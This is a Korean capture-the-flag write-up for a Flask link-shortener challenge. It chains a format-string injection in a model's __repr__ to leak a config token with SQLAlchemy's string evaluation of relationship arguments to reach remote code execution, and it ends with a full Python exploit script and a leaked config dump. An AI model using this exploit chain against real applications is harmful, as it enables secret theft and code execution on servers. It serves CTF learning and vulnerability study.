link-shortener

코드 분석

main.py

Flask 앱이 시작될 때 설정되는 전역 구성값들이다.

app = Flask(__name__)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///db/links.db"
app.config["TOKEN"] = token_hex(64)
app.secret_key = token_hex(64)
engine = create_engine(app.config["SQLALCHEMY_DATABASE_URI"], echo=False)
SessionFactory = sessionmaker(bind=engine)
Session = scoped_session(SessionFactory)
base_url = getenv("BASE_URL", "http://127.0.0.1:5000/")
ukwargs = {"back_populates": ""}
pkwargs = {"back_populates": ""}
login_manager = LoginManager(app)
login_manager.login_view = "login"

 

공개 단축 URL을 생성하는 API이다. URL 유효성 검사를 통과하면 고유한 단축 경로가 생성된다.

@app.route("/create", methods=["GET"])
def create():
    with Session() as session:
        url = request.args.get("url", default=None)
        if url is None \
            or len(url) > 130 \
            or not match(r'^(https?://)?(?:www\.)?[a-zA-Z0-9-]+\.[a-zA-Z]{2,}(?:/[^\s]*)?$', url):
            return statusify(False, "Invalid Url")
        path = gen_path()
        while any([link.path == path for link in session.query(Links).filter_by(path=path).all()]):
            path = gen_path()
        session.add(Links(url=url, path=path))
        session.commit()
        return statusify(True, path)

 

Links 테이블에 있는 모든 레코드를 가져와서 출력용으로 가공한다.

@app.route("/all", methods=['GET'])
def all():
    with Session() as session:
        links = session.query(Links).all()
        for i in range(len(links)):
            links[i] = str(links[i])
        return statusify(True, links)

 

TOKEN을 알고 있으면 base_url, ukwargs, pkwargs 전역 설정값을 업데이트할 수 있다.

@app.route("/configure", methods=['POST'])
def configure():
    global base_url
    global ukwargs
    global pkwargs
    data = request.get_json()
    if data and data.get("token") == app.config["TOKEN"]: 
        base_url = data.get("base_url")
        app.config["TOKEN"] = data.get("new_token")
        ukwargs = data.get("ukwargs")
        pkwargs = data.get("pkwargs")
    else:
        return statusify(False, "Invalid Params")
    return statusify(True, "Success")

 

SQLAlchemy ORM으로 테이블 관계를 동적으로 설정하고 생성하고 있다.

def create_tables():
    inspector = inspect(engine)
    if 'users' not in inspector.get_table_names():
        Users.private_links = relationship("PrivateLinks", **ukwargs)
        Users.__table__.create(engine)
    if 'privatelinks' not in inspector.get_table_names():
        PrivateLinks.users = relationship("Users", **pkwargs)
        PrivateLinks.__table__.create(engine)

 

models.py

/all에서 str 함수로 Links 객체를 호출할 때 __repr__ 함수가 실행되어 문자열을 리턴한다.

class Links(Base):
    __tablename__ = "links"
    id: Mapped[int] = mapped_column(primary_key=True)
    url: Mapped[str]
    path: Mapped[str]

    def __repr__(self) -> str:
        return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)

 

Exploit

url에 원하는 값을 넣어 Links 객체를 생성할 수 있다. 이때, self로 시작하는 표현식을 삽입할 경우 __repr__ 내부에서 중괄호를 표맷 표현식으로 평가하여 Format String Injection이 발생한다.

http://x.com/{self.__init__.__globals__}

 

해당 취약점의 페이로드가 SSTI와 비슷해보이지만 함수 사용이 불가능하여 RCE까지는 도달할 수 없다. 따라서, main.py 파일 전역에 정의되어 있는 TOKEN 값을 릭하는 것까지가 최선이다.

 

self 내부에 있는 객체들을 탐색하기 위해 도커 컨테이너에 디버거를 붙이고 실행 시점의 메모리를 전부 열었다. 취약점이 발생하는 위치에 bp를 걸고 실행한 결과이다. 참고로, self가 __repr__ 메서드가 호출된 객체이기 때문에 __repr__ 내부에서 str(self)를 호출하면 다시 __repr__가 호출되어 무한 재귀에 빠지게 되고, 결국 RecursionError가 발생한다. 따라서, 표현식에 self만 넣지 않도록 주의한다.

 

app 인스턴스는 애플리케이션 시작 시 생성되므로 메모리 어딘가에는 존재하고 있을 것으로 예상되지만, 취약점이 발생하는 파일에서는 해당 인스턴스가 정의된 main.py를 import하지 않고 있어 직접적인 참조가 불가능하다. 게다가 구조가 지나치게 깊고 복잡하여 app 객체가 메모리 상에서 어디에 어떻게 걸려 있는지를 수동으로 추적하기는 매우 어렵다. 

 

따라서, self 객체를 기반으로 sys 모듈을 찾아주는 스크립트를 models.py에 정의한다.

import types

def find_sys_from_self(obj, max_depth=5):
    visited = set()
    results = []

    def explore(current_obj, path, depth):
        if depth > max_depth or id(current_obj) in visited:
            return
        visited.add(id(current_obj))

        try:
            keys = dir(current_obj)
        except Exception:
            return

        for key in keys:
            if key.startswith("__") and key.endswith("__"):
                continue  # skip dunder

            try:
                value = getattr(current_obj, key)
                new_path = f"{path}.{key}"

                # 직접 sys 모듈인 경우
                if isinstance(value, types.ModuleType) and value.__name__ == "sys":
                    results.append(new_path)

                # __init__.__globals__["sys"] 경로 탐색
                if hasattr(value, "__init__") and hasattr(value.__init__, "__globals__"):
                    g = value.__init__.__globals__
                    if "sys" in g:
                        results.append(f"{new_path}.__init__.__globals__['sys']")
                    explore(g, f"{new_path}.__init__.__globals__", depth + 1)

                # 재귀적으로 계속 탐색
                explore(value, new_path, depth + 1)

            except Exception:
                continue

    # 시작점: self
    explore(obj, "self", 0)

    return results

 

bp가 걸렸을 때 스크립트를 호출해 주면 self 객체로부터 sys 모듈에 접근할 수 있는 경로를 찾을 수 있다.

 

위 경로를 기반으로 main.py __main__ 모듈에 있는 app 변수에 접근할 수 있다.

https://x.com/{self._sa_class_manager._state_constructor._attached.__init__.__globals__[sys].modules[__main__].app.config}

 

이를 단축 url로 생성하고 /all 을 요청하면 TOKEN이 출력된다.

{
  "data": [
    "Link(id=1, url='https://x.com/\u003CConfig {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '9ceda3b48c2dd035b13de7dd9de10a59623f5bf75421bbc108b79bdb1515e36fc93ac8a9488cc2b93329e45cf1bd8c055ed7a159d8cc079de2d8ce8169454460', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True, 'SQLALCHEMY_DATABASE_URI': 'sqlite:///db/links.db', 'TOKEN': '41991f3b6cbd59c8871c9ea5b497330dc7373c7948547fe8294964cd6ae995b2940dbfdf726cef23730b5f31a593394191ae1baf1dbbb8ef6e620263b49a52b2'}\u003E', path='nNgA')"
  ],
  "success": true
}

 

TOKEN 값을 가져왔으므로 /configure 페이지에 접근할 수 있다. SQLAlchemy는 아직 정의되지 않은 테이블이나 참조가 있을 때, 이름을 문자열로 넘겨받고 이후 매핑이 끝난 다음 eval로 실행한다. 

# sqlalchemy-rel_2_0_36/lib/sqlalchemy/orm/clsregistry.py

def __call__(self) -> Any:
    try:
        x = eval(self.arg, globals(), self._dict)

        if isinstance(x, _GetColumns):
            return x.cls
        else:
            return x
    except NameError as n:
        self._raise_for_name(n.args[0], n)

 

추가로 아래 나열된 매개변수들이 eval을 통해 실행 가능하다고 한다.

• relationship.order_by
• relationship.primaryjoin
• relationship.secondaryjoin
• relationship.secondary
• relationship.remote_side
• relationship.foreign_keys
• relationship._user_defined_foreign_keys

 

다시 말해, SQLAlchemy는 아직 매핑되지 않은 테이블이나 참조를 문자열로 받아두고, 전체 매핑이 완료된 이후 해당 문자열을 eval을 통해 실제 객체로 변환한다. 따라서 links 모델이 생성되는 시점에 users 모델이 아직 정의되지 않은 상태에서 설정값을 조작하고, 이후 users가 정의되도록 하면, create_tables 함수의 구조로 인해 문자열로 남아 있던 설정값이 매핑 완료 시점에 eval되어 RCE가 발생할 수 있는 타이밍이 정확히 열리게 되는 것이다.

{
    "token": "41991f3b6cbd59c8871c9ea5b497330dc7373c7948547fe8294964cd6ae995b2940dbfdf726cef23730b5f31a593394191ae1baf1dbbb8ef6e620263b49a52b2",
    "base_url": "",
    "ukwargs": 
        {
            "back_populates": "users",
            "secondary": "__import__('os').system('cp /*.txt templates/sponsors.html')"
        }
}

 

설정을 변경한 뒤 register 페이지를 통해 users 테이블을 생성시키고, 이후 sponsors 페이지에 접속하면 복사된 FLAG 파일을 확인할 수 있다.

완성된 최종 페이로드이다.

import requests

URL = "https://link-shortener-6a2f475f5bc23b76.instancer.b01lersc.tf"

params = {
    "url": "https://x.com/{self._sa_class_manager._state_constructor._attached.__init__.__globals__[sys].modules[__main__].app.config}"
}

requests.get(f'{URL}/create', params=params)
response = requests.get(f'{URL}/all')
token = response.text.split("TOKEN':")[1].split("'")[1]

data = {
    "token": token,
    "base_url": "",
    "ukwargs": {
            "back_populates": "users",
            "secondary": "__import__('os').system('cp /*.txt templates/sponsors.html')"
        }
}

requests.post(f'{URL}/configure', json=data)
requests.get(f'{URL}/register')
flag = requests.get(f'{URL}/sponsors').text
print(flag)

# If you solved this through format string ONLY please open a ticket.
# # bctf{why_does_sqlalchemy_have_hidden_eval5dd2053cf09ea561ce6295bfbeca63ba}

 

Reference

• https://podalirius.net/en/articles/python-format-string-vulnerabilities/
• https://docs.python.org/3/library/string.html#formatstrings
• https://docs.sqlalchemy.org